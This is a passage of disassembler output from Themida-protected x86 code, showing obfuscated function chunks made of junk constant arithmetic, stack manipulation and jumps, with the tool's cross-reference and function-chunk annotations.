; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_59572E: ; CODE XREF: Themida_:0059456Cj
; Themida_:0059677Cj
sub eax, 599D6AFAh
add ebp, eax
jmp loc_593EDB
; ---------------------------------------------------------------------------
loc_59573A: ; CODE XREF: Themida_:005904A4j
mov ax, [esp]
push ebp
mov ebp, esp
jmp loc_594A4E
; ---------------------------------------------------------------------------
loc_595746: ; CODE XREF: Themida_:0058D9DBj
push ax
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_59574E: ; CODE XREF: Themida_:005910A9j
neg ah
add ah, 0EDh
xor dl, ah
pop eax
not dl
xor dl, 50h
dec dl
xor dl, 2Ch
sub al, dl
pop edx
sub al, 9Bh
jmp loc_596B8B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_59576A: ; CODE XREF: sub_590010-2B7Ej
xchg edi, [esp+0]
pop esp
jmp loc_592C35
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_595773: ; CODE XREF: sub_59762D-156Fj
or ebx, 73BA6790h
jno loc_5961CB
sub ebx, 4AE42B21h
mov ebp, ebx
xor al, 0D7h
loc_595789: ; CODE XREF: Themida_:0058C90Fj
sub dh, 1
jmp loc_592996
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_595791: ; CODE XREF: sub_595E21-709Bj
push [esp-8+arg_4]
pop edi
push ecx
mov ecx, esp
push 5C0Bh
mov [esp+0], esi
mov esi, 4
add ecx, esi
pop esi
jmp loc_58A617
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5957AD: ; CODE XREF: sub_58C17E-11Fj
add edx, ecx
add edx, 3FC579D0h
jmp loc_58CAF7
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_5957BA: ; CODE XREF: sub_590467-6070j
sub esi, 4
push esi
push [esp+arg_0]
pop esi
pop dword ptr [esp+0]
mov esp, [esp-4+arg_0]
mov [esp-4+arg_0], eax
mov ebx, [esp-4+arg_0]
add esp, 4
push 5641h
mov [esp-4+arg_0], edx
push eax
jmp loc_59780B
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_5957E3: ; CODE XREF: Themida_:0058DB40j
xor ebx, 5345005Bh
shr ebx, 7
and ebx, 307329h
jmp loc_58F458
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5957F7: ; CODE XREF: sub_5916C4+A93j
pop eax
jmp loc_58B765
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936D6
loc_5957FD: ; CODE XREF: sub_5936D6+9j
mov dh, al
jmp loc_59681E
; END OF FUNCTION CHUNK FOR sub_5936D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_595804: ; CODE XREF: sub_592D25-246Dj
sub edi, 199F0951h
sub esp, 4
mov [esp+0Ch+var_C], ebp
sub esp, 4
mov [esp+10h+var_10], ebx
jmp loc_5923AC
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
loc_595821: ; CODE XREF: Themida_:0058FD0Fj
add ebp, 0FFFFFFFFh
shl ebp, 2
xor ebp, 0F955BED6h
add eax, ebp
pop ebp
push eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
btc [esp], ax
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_59584A: ; CODE XREF: Themida_:00590E6Cj
pop ecx
push edx
push ebx
mov ebx, 4B1E1C5Bh
jmp loc_58DA71
; ---------------------------------------------------------------------------
loc_595857: ; CODE XREF: Themida_:00591ECBj
sub ebx, 0CF1CFB3Ah
jmp loc_58FD14
; ---------------------------------------------------------------------------
loc_595862: ; CODE XREF: Themida_:0058CD5Ej
sub esi, ecx
pop ecx
xor esi, 0D5B4B866h
mov edi, esi
pop esi
jmp loc_58D630
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
push dword ptr [esp]
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
jmp loc_5947CE
; ---------------------------------------------------------------------------
loc_595898: ; CODE XREF: Themida_:0059425Dj
xchg eax, esi
not eax
xchg eax, esi
sub esi, 6B233209h
add esi, 49C1B86Bh
sub ebp, 44FD2242h
add ebp, esi
add ebp, 44FD2242h
pop esi
push edi
mov edi, esp
jmp loc_59193A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5958BF: ; CODE XREF: sub_5916C4-4C8Cj
mov ch, 3Ch
add al, ch
pop ecx
sub al, dh
sub al, 3Ch
pop edx
add al, 0ADh
jmp loc_590845
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_5958D0: ; CODE XREF: Themida_:005941F3j
mov [esp], ebx
mov ebx, 36DE3844h
push edx
push ebx
jmp loc_58A95F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5958DF: ; CODE XREF: sub_58C17E+85j
; Themida_:loc_58DB89j
push [esp+6+var_8+2]
mov ebx, [esp+0Ah+var_C+2]
add esp, 4
jmp loc_598030
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_5958F0: ; CODE XREF: sub_5EC2E8-5F4D8j
inc cl
jmp loc_58DC36
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_5958F7: ; CODE XREF: Themida_:00593DCAj
pop edx
shl bh, 2
or bh, 8Eh
jmp loc_59457F
; ---------------------------------------------------------------------------
loc_595903: ; CODE XREF: Themida_:0058C729j
sub ah, 59h
and dh, ah
pop eax
jmp loc_58A8FA
; =============== S U B R O U T I N E =======================================
sub_59590E proc near ; CODE XREF: sub_590010-584Ej
arg_0 = word ptr 4
; FUNCTION CHUNK AT 0058DFDF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058E8A5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00594A14 SIZE 00000020 BYTES
push ebx
push ecx
push 1F0F3EEDh
pop ecx
add ecx, 17D3F90Eh
jmp loc_594A14
sub_59590E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_595921: ; CODE XREF: sub_58C17E+1163j
pop edi
neg ecx
neg ecx
shr ecx, 5
xor ecx, 22785E3Ch
jmp loc_58D869
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_596CA1
loc_595934: ; CODE XREF: sub_596CA1-C757j
mov ebx, esp
jmp loc_5923CB
; END OF FUNCTION CHUNK FOR sub_596CA1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_59593B: ; CODE XREF: sub_58F5B5+7520j
jno loc_590DA6
push 1A89h
mov [esp+4+var_4], ebx
push ebp
jmp loc_58A83F
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_59594F: ; CODE XREF: sub_59524C-ABC8j
pop ecx
jmp loc_595D14
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
loc_595955: ; CODE XREF: Themida_:00595632j
push edx
mov edx, 29344E4Dh
neg edx
jmp loc_5917C5
; ---------------------------------------------------------------------------
loc_595962: ; CODE XREF: Themida_:00597FC5j
push edx
mov edx, 2
jmp loc_58EE33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_59596D: ; CODE XREF: sub_5916C4-1B43j
mov dx, word ptr [esp-10h+arg_C]
push esi
sub esp, 4
push esp
pop [esp-4+arg_0]
push 32D9h
mov [esp-4+arg_0], ecx
mov ecx, 4
add [esp-4+arg_4], ecx
pop ecx
push [esp-8+arg_4]
pop esi
push ebx
mov ebx, esp
jmp loc_58E859
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_595997: ; CODE XREF: Themida_:0058AAF7j
add al, 98h
sub al, 0C4h
sub al, bl
add al, 0C4h
jmp loc_594645
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_5959A4: ; CODE XREF: sub_5916CB-65F6j
pop ecx
push esi
mov esi, 1BFD0BB5h
and esi, 35730607h
add esi, 6B84D5DCh
sub edi, esi
jmp loc_58E4E3
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_5959BE: ; CODE XREF: sub_592D25-8CCj
mov edx, 4A728C0Dh
add ecx, edx
pop edx
mov eax, ecx
pop ecx
and edx, eax
jmp loc_58A4EA
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
loc_5959D0: ; CODE XREF: Themida_:005908AEj
add bl, ch
pop ecx
jmp loc_593AD0
; ---------------------------------------------------------------------------
loc_5959D8: ; CODE XREF: Themida_:0058F06Dj
push ebp
push ecx
mov ecx, 7E76029Fh
jmp loc_5923DB
; ---------------------------------------------------------------------------
loc_5959E4: ; CODE XREF: Themida_:0058D305j
sub ebp, 144BD588h
mov ecx, ebp
pop ebp
add [esp+8], ecx
pop ecx
sub esp, 4
mov [esp], edi
mov edi, 56770CD0h
or edi, 29AA08FBh
jge loc_591849
and edi, 13022E1Fh
xor dl, 84h
pop ecx
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_595A16: ; CODE XREF: sub_58C17E+3361j
and ecx, 6CA03396h
xchg edx, ecx
not edx
jmp loc_58FA20
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_595A25: ; CODE XREF: Themida_:0058DF9Bj
not esi
jmp loc_58C426
; ---------------------------------------------------------------------------
loc_595A2C: ; CODE XREF: Themida_:0058CE67j
xor eax, ebx
push 7D57h
mov [esp], edi
push eax
push 3D31h
jmp loc_593DBB
; ---------------------------------------------------------------------------
push 25F0h
mov [esp], esi
push edi
mov edi, esp
jmp loc_58CEFD
; ---------------------------------------------------------------------------
loc_595A51: ; CODE XREF: Themida_:00596267j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
add ecx, 2
xchg ecx, [esp]
mov esp, [esp]
push ebx
mov bl, dl
push esi
mov esi, esp
add esi, 4
push ebp
mov ebp, 0B704854h
shl ebp, 5
jmp loc_58FA62
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_595A83: ; CODE XREF: sub_595123-5CEBj
mov edi, [esp+0Ch+var_C]
add esp, 4
jmp loc_592139
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_595A8E: ; CODE XREF: sub_5916C4-5BACj
sub ebx, eax
push edx
mov edx, 493A36F6h
shr edx, 4
shr edx, 1
shr edx, 6
xor edx, 7F99589Bh
sub ebx, edx
mov edx, [esp-0Eh+arg_8+2]
add esp, 4
push esi
mov esi, 7EC06810h
jmp loc_58FB7E
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_595ABA: ; CODE XREF: Themida_:00591258j
mov dh, 7Eh
push ecx
mov cl, 68h
sub dh, cl
mov ecx, [esp]
jmp loc_58B9B2
; ---------------------------------------------------------------------------
loc_595AC9: ; CODE XREF: Themida_:00593530j
push esp
jmp loc_58E63D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_595ACF: ; CODE XREF: sub_590010:loc_590545j
jmp loc_58C60A
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_595AD4: ; CODE XREF: sub_5EC2E8-6039Aj
sub esi, eax
pop eax
jmp loc_58B00A
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_595ADC: ; CODE XREF: Themida_:0058EA74j
mov ebx, [esp]
add esp, 4
jmp loc_591130
; ---------------------------------------------------------------------------
loc_595AEA: ; CODE XREF: Themida_:0058A99Bj
mov dh, 8Fh
mov cl, dh
pop edx
xor bl, cl
pop cx
sub al, bl
pop ebx
sub esp, 4
jmp loc_593FC2
; ---------------------------------------------------------------------------
loc_595AFE: ; CODE XREF: Themida_:0059719Bj
xor ebx, 293617CAh
not ebx
jmp loc_58BFBA
; ---------------------------------------------------------------------------
loc_595B0B: ; CODE XREF: Themida_:0058E31Cj
pop ebx
mov edx, ecx
pop ecx
jmp loc_59712B
; ---------------------------------------------------------------------------
loc_595B14: ; CODE XREF: Themida_:0058D9EBj
add edx, esi
jmp loc_59620C
; ---------------------------------------------------------------------------
loc_595B1B: ; CODE XREF: Themida_:0058B393j
add esi, 4
sub esp, 4
mov [esp], esi
jmp loc_5973E0
; ---------------------------------------------------------------------------
loc_595B2F: ; CODE XREF: Themida_:00595C51j
add ebx, 0B96F61ABh
sub esi, ebx
jmp loc_5973E9
; ---------------------------------------------------------------------------
loc_595B3C: ; CODE XREF: Themida_:0058B054j
mov esp, [esp]
jmp loc_58A4F6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_595B44: ; CODE XREF: sub_5938B9-81CFj
dec ebx
push edi
mov edi, 2E142FB7h
add edi, 3A183B9Dh
add edi, 0D3EDC0D9h
jmp loc_58E88B
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_595B5C: ; CODE XREF: sub_590467+285Fj
shr ecx, 3
sub ecx, 631E21DEh
xor ecx, 9CE202A6h
add esi, ecx
pop ecx
xchg esi, [esp-0Eh+arg_8+2]
jmp loc_591AAC
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebx
push eax
mov eax, esp
add eax, 4
jmp loc_594767
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B70
loc_595B88: ; CODE XREF: sub_590B70+1728j
add eax, esi
pop esi
sub eax, edx
jmp loc_58B512
; END OF FUNCTION CHUNK FOR sub_590B70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_595B92: ; CODE XREF: sub_59524C-57EFj
dec ecx
add ecx, 27F950B4h
sub edi, ecx
pop ecx
mov ecx, edi
push [esp-8+arg_4]
mov edi, [esp-4+arg_0]
add esp, 4
add esp, 4
sub edi, ecx
pop ecx
xor eax, edi
pop edi
push ebx
mov ebx, 6FE5266Bh
push edx
mov edx, 5F3A1884h
jmp loc_58A65E
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
loc_595BC4: ; CODE XREF: Themida_:0058AC3Ej
inc ebp
jl loc_591DAB
dec ebp
jo loc_59066E
xor ebp, 0C8391E51h
mov ecx, ebp
; =============== S U B R O U T I N E =======================================
sub_595BDA proc near ; CODE XREF: sub_590467+312Cj
var_4 = dword ptr -4
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 0058AC50 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058ACF4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058B22C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058C7F9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058D149 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058DED8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058FD39 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005910AE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591400 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005922E0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005938EF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00593ABC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00593E3F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00594A46 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00594B4F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005962DA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00596D28 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00597D69 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00597E45 SIZE 0000000D BYTES
sub esp, 4
jmp loc_58FD39
sub_595BDA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_595BE2: ; CODE XREF: sub_5938B9-3F10j
; sub_592D25+28j
pop ecx
jmp loc_597C49
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_595BE8: ; CODE XREF: sub_590010:loc_596ADAj
; Themida_:00596DAFj
shl esi, 5
not esi
jmp loc_5911E9
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_595BF2: ; CODE XREF: sub_58F5B5+571j
push eax
mov eax, 3B28336Dh
xchg eax, ebp
not ebp
push eax
jmp sub_592D12
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_595C01: ; CODE XREF: Themida_:0058FB35j
xchg esi, ebx
sub ebx, 18070F02h
jmp loc_58BB63
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_595C0E: ; CODE XREF: sub_5916C4-3305j
; Themida_:00590778j
push 0CE5h
jmp loc_5946A9
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_595C18: ; CODE XREF: Themida_:00591F12j
push ax
push ebx
mov bh, 39h
jmp loc_59543A
; ---------------------------------------------------------------------------
loc_595C22: ; CODE XREF: Themida_:0058D3FBj
mov edx, 4
jmp loc_58EF2E
; ---------------------------------------------------------------------------
loc_595C2C: ; CODE XREF: Themida_:00592D0Dj
not esi
jmp loc_5949A0
; ---------------------------------------------------------------------------
loc_595C33: ; CODE XREF: Themida_:0058C8B7j
add ecx, ebp
add ecx, 7D9564B1h
jmp loc_58BD9C
; ---------------------------------------------------------------------------
loc_595C40: ; CODE XREF: Themida_:0058AA4Fj
add esi, edx
push ebx
mov ebx, 64BF3FB0h
or ebx, 525954FFh
shl ebx, 4
jmp loc_595B2F
; ---------------------------------------------------------------------------
loc_595C56: ; CODE XREF: Themida_:0058E699j
add ah, dl
pop edx
sub bl, ah
pop eax
jmp loc_59077D
; ---------------------------------------------------------------------------
loc_595C61: ; CODE XREF: Themida_:005914C4j
mov eax, 54BC13D5h
xor edi, eax
pop eax
add esi, edi
pop edi
jmp loc_59118F
; ---------------------------------------------------------------------------
loc_595C71: ; CODE XREF: Themida_:00590113j
add edi, 42464B0Eh
add edi, 46391B30h
xor edi, 36E21E10h
jmp loc_590118
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_595C88: ; CODE XREF: sub_5EC2E8-54CC0j
xchg edx, [esp+2Ch+var_2C]
pop esp
mov ebp, [esp+28h+var_28]
jmp loc_5929A0
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_595C94: ; CODE XREF: sub_58C17E-1A8j
inc bl
jmp loc_596F17
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_595C9B: ; CODE XREF: sub_590467+1747j
mov ch, dl
mov edx, [esp+6+var_6]
add esp, 4
add ch, 5Eh
add bl, ch
mov ecx, [esp+0]
jmp loc_591F65
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_595CB3: ; CODE XREF: Themida_:005977E4j
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], esp
jmp loc_58C7A2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_595CCD: ; CODE XREF: sub_590467+341Aj
mov edx, [esp+0]
add esp, 4
jmp loc_590163
; ---------------------------------------------------------------------------
loc_595CDB: ; CODE XREF: sub_590467+1B05j
push eax
mov al, 9Eh
jmp loc_58BAFA
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595655
loc_595CE3: ; CODE XREF: sub_595655+20j
shl edx, 4
jmp loc_597048
; END OF FUNCTION CHUNK FOR sub_595655
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_595CEB: ; CODE XREF: sub_58F5B5+2D8Fj
pop ebx
mov eax, edi
jmp loc_597F3B
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5919E2
loc_595CF3: ; CODE XREF: sub_5919E2-1647j
xor eax, 63C32DCBh
jmp loc_590005
; END OF FUNCTION CHUNK FOR sub_5919E2
; ---------------------------------------------------------------------------
loc_595CFD: ; CODE XREF: Themida_:00597155j
pop ebp
sub esp, 4
mov [esp], ebx
push 653E2254h
pop ebx
xor edx, ebx
jmp loc_591EE7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_595D14: ; CODE XREF: sub_59524C+704j
add edx, 18C4493Ch
sub esp, 4
jmp loc_58BF7E
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
loc_595D22: ; CODE XREF: Themida_:00592903j
mov eax, 1D6D8F0Bh
mov edx, eax
pop eax
push edx
mov edx, 33F6307Fh
sub eax, edx
pop edx
add eax, edx
add eax, 33F6307Fh
push dword ptr [esp]
jmp loc_58AA6E
; ---------------------------------------------------------------------------
loc_595D42: ; CODE XREF: Themida_:00597CDFj
and ebx, 1F742CEAh
jo loc_593201
xor ebx, 1420EEh
mov ecx, ebx
pop ebx
add edi, 4E9335EAh
jmp loc_5973B9
; ---------------------------------------------------------------------------
loc_595D62: ; CODE XREF: Themida_:00596CBCj
mov [esp], esi
jmp loc_590529
; ---------------------------------------------------------------------------
loc_595D6A: ; CODE XREF: Themida_:0058B619j
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_595D6F: ; CODE XREF: sub_58C17E+A299j
xor eax, ecx
push 5AA2h
mov [esp+6+var_8+2], eax
xchg ecx, [esp+6+var_8+2]
not ecx
xchg ecx, [esp+6+var_8+2]
mov eax, [esp+6+var_8+2]
push edx
sub esp, 4
push esp
pop dword ptr [esp+0]
push ecx
mov ecx, 4
jmp loc_5926EA
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_595D97: ; CODE XREF: Themida_:loc_59062Cj
push eax
mov eax, 65BC6DB1h
jmp loc_5902FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_595DA2: ; CODE XREF: sub_5916C4+4D5Cj
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+0]
pop esp
jmp loc_58ABE9
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591059
loc_595DB6: ; CODE XREF: sub_591059+303Aj
add esp, 4
jmp loc_59715A
; END OF FUNCTION CHUNK FOR sub_591059
; ---------------------------------------------------------------------------
loc_595DBE: ; CODE XREF: Themida_:0058D8A0j
add ebp, 4
jmp loc_58E70E
; ---------------------------------------------------------------------------
loc_595DC9: ; CODE XREF: Themida_:0058FB0Fj
or edi, 6D4A01F8h
dec edi
dec edi
push ebx
push edi
push 3378760Ch
pop edi
sub edi, 17B214F1h
and edi, 3A2A39E7h
jno loc_58B573
add edi, 0EF1111A4h
mov ebx, edi
pop edi
or edi, ebx
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_595DF6: ; CODE XREF: sub_5916CB+150Bj
add [ebx], eax
pop ebx
pop edx
pop eax
loc_595DFB: ; CODE XREF: sub_595655-5CFEj
push 3CB8h
mov [esp+0Ch+var_C], ebx
mov eax, [esp+0Ch+var_C]
jmp sub_5948B7
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_595E0B: ; CODE XREF: sub_595E21+1C6Dj
push edx
mov edx, 65526119h
jmp loc_594037
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_595E16: ; CODE XREF: sub_58F5B5+83EAj
pop edi
push ebp
mov ebp, esp
push ebx
push edx
jmp sub_5938B9
; END OF FUNCTION CHUNK FOR sub_58F5B5
; =============== S U B R O U T I N E =======================================
sub_595E21 proc near ; CODE XREF: sub_58F836+3F03j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
; FUNCTION CHUNK AT 0058A617 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058B239 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058B7F4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058C2C5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058C605 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058CCB7 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058D2E6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058DB75 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058E1EA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058E833 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058E929 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058EBDE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058ED84 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058F4B2 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0058F831 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058FD90 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058FFDB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00590609 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00590649 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00590699 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00590F3F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00591237 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059137A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059168F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591AC2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00591D25 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005923A5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00592513 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00592882 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00592BA9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00592E94 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059307D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059321F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005932C5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00593B33 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00594037 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005942C0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00594440 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005945F8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00594812 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00595637 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00595791 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00595E0B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00595E36 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059709B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00597166 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00597A80 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00597BE9 SIZE 00000010 BYTES
sub esp, 4
mov [esp+4+var_4], ecx
push 5CCC0A2Ah
pop ecx
xchg edx, ecx
not edx
jmp loc_58FFDB
sub_595E21 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_595E36: ; CODE XREF: sub_595E21-22D8j
mov ebp, 2187740Bh
mov ebx, ebp
pop ebp
xor ebx, 0CCC089Fh
add edx, ebx
pop ebx
jmp loc_58E929
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_595E4C: ; CODE XREF: sub_58F5B5-468Aj
pop ecx
jmp loc_58E077
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_595E52: ; CODE XREF: Themida_:00598023j
sub ax, 28AFh
add ax, di
add ax, 28AFh
jmp loc_58A302
; ---------------------------------------------------------------------------
